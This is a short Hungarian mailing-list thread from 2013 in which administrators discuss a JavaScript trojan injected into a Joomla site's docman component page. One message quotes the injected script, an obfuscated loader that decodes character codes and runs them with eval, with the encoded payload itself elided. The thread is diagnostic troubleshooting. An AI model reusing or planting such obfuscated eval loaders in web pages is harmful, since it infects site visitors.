Joomla turka

[Sütő Péter]

A docman komponenst hívva (index.php?option=com_docman) ott van a html-ben egy javascript trójai, tehát nem dokumentum.

<script type="text/javascript" language="javascript" > p=parseInt;ss=(123)?String.fromCharCode:0;asgq="ITTNAGYONSOKKARAKTERVANELKÓDOLVA".replace(/@/g,"9").split("!");try{document.body&=0.1}catch(gdsgsdg){zz=3;dbshre=28;if(dbshre){vfvwe=0;try{document;}catch(agdsg){vfvwe=1;}if(!vfvwe){e=eval;}s="";if(zz)for(i=0;i-476!=0;i++){if(window.document)s+=ss(p(asgq[i],16));}if(window.document)e(s);}}</script>

Más komponenst hívva nem látok ilyet a html-ben.

________________________________________
From: techinfo-bounces at lista.sulinet.hu [mailto:techinfo-bounces at lista.sulinet.hu] On Behalf Of Kunci
Sent: Tuesday, October 01, 2013 3:07 PM
To: Techinfo
Subject: Re: Joomla turka

Nem lehet, hogy valamelyik letölthető dokumentum a fertőzött nem pedig a komponens?


a felhasználóknál meg beriaszt a vírusírtó.
Melyik vírusirtó jelez és mit?

2013.10.01. 14:09 keltezéssel, Sütő Péter írta:
Nekem is szokott visítani, de nem tette, aztán máshova, ahol nem jelez, oda is tükröztem a komponenst (az egész site-ot), és abban sem találtam meg a kérdéses kódot...